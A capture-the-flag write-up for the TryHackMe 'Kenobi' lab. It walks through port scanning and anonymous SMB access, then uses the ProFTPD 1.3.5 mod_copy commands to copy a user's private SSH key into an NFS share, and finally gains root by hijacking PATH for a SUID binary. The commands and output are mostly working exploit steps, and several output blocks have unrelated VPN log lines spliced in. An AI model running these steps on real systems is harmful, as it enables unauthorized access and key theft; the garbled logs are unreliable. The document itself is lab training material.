



TryHackMe Writeup: Kenobi

Upon starting the machine, I was presented with the following IP address:

10.10.180.160

First step was to start enumerating the machine via portscan

sudo nmap -sT -sU -sV -Pn 10.10.180.160

Once complete, we see the following results

```
Nmap scan report for 10.10.180.160
Host is up (0.12s latency).
Not shown: 1988 closed ports
PORT      STATE     SERVICE      VERSION
21/tcp    open      ftp          ProFTPD 1.3.5earl
22/tcp    open      ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp    open      http         Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open      rpcbind     2-4 (RPC #100000)
139/tcp   open      netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open      netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open      nfs_acl     2-3 (RPC #100227)
68/udp   open|filtered dhcpc
111/udp  open      rpcbind     2-4 (RPC #100000)
137/udp  open      netbios-ns  Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp  open|filtered netbios-dgm
2049/udp open      nfs_acl     2-3 (RPC #100227)

Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done at [REDACTED] through [REDACTED]. Enumerate Samba fo
with patch variable [REDACTED]
```

From this scan, we can discern the following:

1. Server is running ProFTPD 1.3.5. Further investigation shows this has multiple vulnerabilities
2. Server is running a webserver
3. Server has SSH and SMB open

Saving the vulnerable FTP service for later, we will first enumerate the endpoints SMB service

```
nmap -p445 10.10.180.160 –script smb-enum-shares,smb-enum-users
```

The resulting scan shows us that not only do we have anonymous login, but we also have READ/WRITE

```
Nmap scan report for 10.10.180.160
Host is up (0.12s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.180.160\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.180.160\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.180.160\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|     Current user access: <none>
```

Now that we know anonymous login is enabled, lets connect to it and see what's inside

```
smbclient //10.10.180.160/anonymous
```

```
[/mnt]$ smbclient //10.10.180.160/anonymous
Enter WORKGROUP\student's password:
Try "help" to get a list of possible commands.
smb: \> ls
Mon Jan  4 18:30:46 2021  WARNING: this configuration may cache passwords in m
Mo... Jan  4 18:30:46 2021  Initialization D Sequence 0  Wed Sep  4 10:49:09 2019
Mo... Jan  4 22:01:56 2021  [server] Inactivity timer (int D Sequence 0  Wed Sep  4 10:56:07 2019
Mon log.txt 4 22:01:56 2021  SIGUSR1[soft,ping-restart] received, process restart N 12237  Wed Sep  4 10:49:09 2019
Mon Jan  4 22:01:56 2021  Restart pause: 5 second(s)
```

Looks like an interesting file, log.txt is inside. Let's download the file and take a look at it

```
smbget -R smb://10.10.180.160/anonymous
```

```
[/tmp]$ smbget -R smb://10.10.180.160/anonymous
Password for [student] connecting to //anonymous/10.10.180.160:
Using workgroup WORKGROUP, user student
smb://10.10.180.160/anonymous/log.txt
Downloaded 11.95kB in 5 seconds
[/tmp]$ ls
config-err-U6Xjq2  systemd-private-ad292c26889c4fcf963aba84c0e66
log.txt 4 22:02:23 2021  systemd-private-ad292c26889c4fcf963aba84c0e66
ssh-z8pXWlWaQDdbe  systemd-private-ad292c26889c4fcf963aba84c0e66
```

```
cat log.txt
```

While viewing the file, you'll notice that an ssh key pair was generated for Kenobi. This may be useful later. Let's take note of that

Earlier, we noted a few open ports. Port 111 being one of them. A quick Google search says that this is possibly an nfs port.

Port(s)	Protocol	Service	Details
111	tcp,udp	SunRPC	<p>Provides information between Unix based systems. Port is often probed, it can be used to fingerprint the Nix OS, and to obtain information about available services. Port used with NFS, NIS, or any rpc-based service.</p> <p>Port 111 was designed by the Sun Microsystems as a component of their Network File System. It is also known as Open Network Computing Remote Procedure Call (ONC RPC). Port 111 is a port mapper with similar functions to Microsoft's port 135 or DCOM DCE.</p>

Having that small tidbit of info, lets enumerate it. First, lets check for some associated nmap scripts

```
cat /usr/share/nmap/scripts/script.db | grep nfs
```

```
[/tmp]$ cat /usr/share/nmap/scripts/script.db | grep -i nfs
Entry { filename = "nfs-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "nfs-showmount.nse", categories = { "discovery", "safe", } }
Entry { filename = "nfs-statfs.nse", categories = { "discovery", "safe", } }
```

Lets go ahead and run these scripts

```
nmap -p111 10.10.180.160 --script nfs-ls,nfs-showmount,nfs-statfs
```

```
[/tmp]$ nmap -p111 10.10.180.160 --script nfs-ls,nfs-showmount,nfs-statfs
Starting Nmap 7.70 ( https://nmap.org ) at 2021-01-04 23:07 UTC
Nmap scan report for 10.10.180.160
Host is up (0.13s latency).
PORT      STATE SERVICE
111/tcp    open  rpcbind
|_nfs-showmount:
|_/var      4  22:02:23 2021 Incoming Data Channel: Cipher 'AES-256-CBC' initialized
|_ /var      4  22:02:23 2021 Incoming Data Channel: Using 512 bit message hash

```

Looks like we found ourselves a mount

Remember that RSA key we found earlier? We need to find a way to get that key so that we can ssh into the box. Luckily, we have READ/WRITE access to the /var mount. So why not just copy it there? But how will we do that? Well from earlier we noted that ProFTPD 1.3.5 service that is running on the machine. Is there something we can do with that? Well, let's check Metasploit

msfconsole

search proftpd

Looks like we have a matching exploit

```
msf5 > search proftpd
[+] Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
[+] Jan 22 02:04 2021 VERIFY_EKU_OK
Matching Modules 94 2021 VERIFY OK: depth=0, CN=server
=====
#  Name                                     Disclosure Date   Rank    Check  Description
#  exploit/freebsd/ftp/proftpd_telnet_iac  2010-11-01     great  Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
#  exploit/linux/ftp/proftpd_sreplace       2006-11-26     great  Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
#  exploit/linux/ftp/proftpd_telnet_iac     2010-11-01     great  Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
#  exploit/linux/misc/netsupport_manager_agent 2011-01-08     average No     NetSupport Manager Agent Remote Buffer Overflow
#  exploit/unix/ftp/proftpd_133c_backdoor    2010-12-02     excellent No    ProFTPD-1.3.3c Backdoor Command Execution
#  exploit/unix/ftp/proftpd_modcopy_exec     2015-04-22     excellent Yes   ProFTPD 1.3.5 Mod_Copy Command Execution
```

Let's get more info on the one that matches our version number

info exploit/unix/ftp/proftpd_modcopy_exec

```
Description: This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.
References: https://cvedetails.com/cve/CVE-2015-3306/
https://www.exploit-db.com/exploits/36742
```

Interesting. Apparently, we can copy any file on the system with the SITE CPTO and CPFR commands with this ProFTPD version. Let's connect to it with netcat, and use the indicated commands to copy the ssh key into the mount

```
nc 10.10.180.160 21
```

```
SITE CPFR /home/kenobi/.ssh/id_rsa
```

```
SITE CPTO /var/tmp/id_rsa
```

Looks like it worked.

```
root@Security542:/opt/john/run# nc 10.10.180.160 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.180.160]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

Now we just need to mount the folder, copy the file locally, then go ahead and ssh into it

```
mkdir /mnt/Kenobi
```

```
mount 10.10.180.160:/var /mnt/kenobi
```

ls -la /mnt/Kenobi/tmp

```
root@Security542:~# mount 10.10.180.160::/var /mnt/kenobi [212992->212992]
root@Security542:~# ls -la /mnt/kenobi [not bound]
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Jan 4 23:36 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root mlocate 4096 Sep 4 2019 log [AES-256-CBC] initialized with 256 bit RSA
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail [AES-256-CBC] initialized with 256 bit RSA
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt [AES-256-CBC] initialized with 256 bit RSA
lrwxrwxrwx 1 root root 4096 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snapd [AES-256-CBC] initialized with 256 bit RSA
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool [AES-256-CBC] initialized with 256 bit RSA
drwxrwxrwt 6 root root 4096 Jan 4 23:34 tmp [AES-256-CBC] initialized with 256 bit RSA
drwxr-xr-x 3 root root 4096 Sep 4 2019 www [AES-256-CBC] initialized with 256 bit RSA
root@Security542:~# ls -la /mnt/kenobi/tmp
total 28
drwxrwxrwt 6 root 20 root 4096 Jan 4 23:34 .
drwxr-xr-x 14 root 20 root 4096 Sep 4 2019 .
-rw-r--r-- 1 student student 1675 Jan 4 23:34 id_rsa [AES-256-CBC] initialized with 256 bit RSA
drwxr----- 3 root 20 root 4096 Sep 4 2019 systemd-private-2408059707bc41329243d2fc9e613file-systemd-timesynd.service-a5PktM
drwxr----- 3 root 20 root 4096 Jan 4 21:13 systemd-private-517e849246fb44d0b0044773ffc9bc0e-systemd-timesynd.service-F2Aipu
drwxr----- 3 root 20 root 4096 Sep 4 2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesynd.service-z5o4Aw
drwxr----- 3 root 20 root 4096 Sep 4 2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesynd.service-zObUdn
root@Security542:~#
```

Looks like a success. Now let's copy the key locally and give it proper permissions. Once complete, lets use that key to ssh into the box

cp /mnt/Kenobi/tmp/id_rsa .

chmod 600 id_rsa

ssh -i id_rsa kenobi@10.10.180.160

```
root@Security542:~# chmod 600 id_rsa
root@Security542:~# ssh -i id_rsa kenobi@10.10.180.160
[server]: 'PUSH REQUEST' (status=1)
[server]: 'PUSH REPLY', route 10.10.0.0/8, via tun0, flags: 0x0
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

Mon Jan 4 22:02:23 2021 OPTIONS IMPORT: timers and/or timeouts modified
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Mon Jan 4 22:02:23 2021 OPTIONS IMPORT: route-related options modified
103 packages can be updated.
65 updates are security updates.
Mon Jan 4 22:02:23 2021 OPTIONS IMPORT: peer-id set
Mon Jan 4 22:02:23 2021 OPTIONS IMPORT: adjusting link_mtu to 1625
Mon Jan 4 22:02:23 2021 Outgoing Data Channel: Cipher 'AES-256-CBC' init
Mon Jan 4 22:02:23 2021 Outgoing Data Channel: Using 512 bit message has
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
Mon Jan 4 22:02:23 2021 Initialization Sequence Completed
kenobi@kenobi:~$
```

Success! We're in! But, we really, really, REALLY want root... so lets check and see if there's anything we can leverage

```
find / -perm -u=s -type f 2>/dev/null
```

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping4
/bin/su
/bin/ping6
kenobi@kenobi:~$
```

Most of this stuff is pretty standard. Except one...
`/usr/bin/menu?` Whats that?

```
kenobi@kenobi:~$ /usr/bin/menu
***** Data Channel *****
Mon Jan  4 18:30:46 2021 ROUTE GATEWAY 10.0.2.2
*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Mon, 04 Jan 2021 23:49:16 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
```

Looks like its used to check the status of the server. But how?
Let's try something....

```
strings /usr/bin/menu
```

```
curl -I localhost
uname -r
ifconfig
Invalid choice
;*3$"
GCC: (Ubuntu) 5.4.0-6
```

Looks like it calls curl to check it. But its not using an exact path (i.e. /usr/bin/curl). So let's do the math. /usr/bin/menu runs with root privs and doesn't use absolute paths to call other functionality. So what if we copied bash into curl and exported it to PATH, then allowed the menu app to call it? I mean, the application isn't looking for /usr/bin/curl.... Just curl. It doesn't care where curl's at.....

```
echo /bin/sh > curl
```

```
chmod 777 curl
```

```
export PATH=/home/kenobi:$PATH
```

So now what?

```
kenobi@kenobi:~$ echo /bin/sh > curl
kenobi@kenobi:~$ chmod 777 curl
kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ PATH=/home/kenobi:$PATH
kenobi@kenobi:~$ /usr/bin/menu
Mon Jan  4 18:30:46 2021 Incoming Data Ch
*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice:1
# whoami
root
# [REDACTED]
```

Holy cow, it worked! We have r00t! Now we can read the flag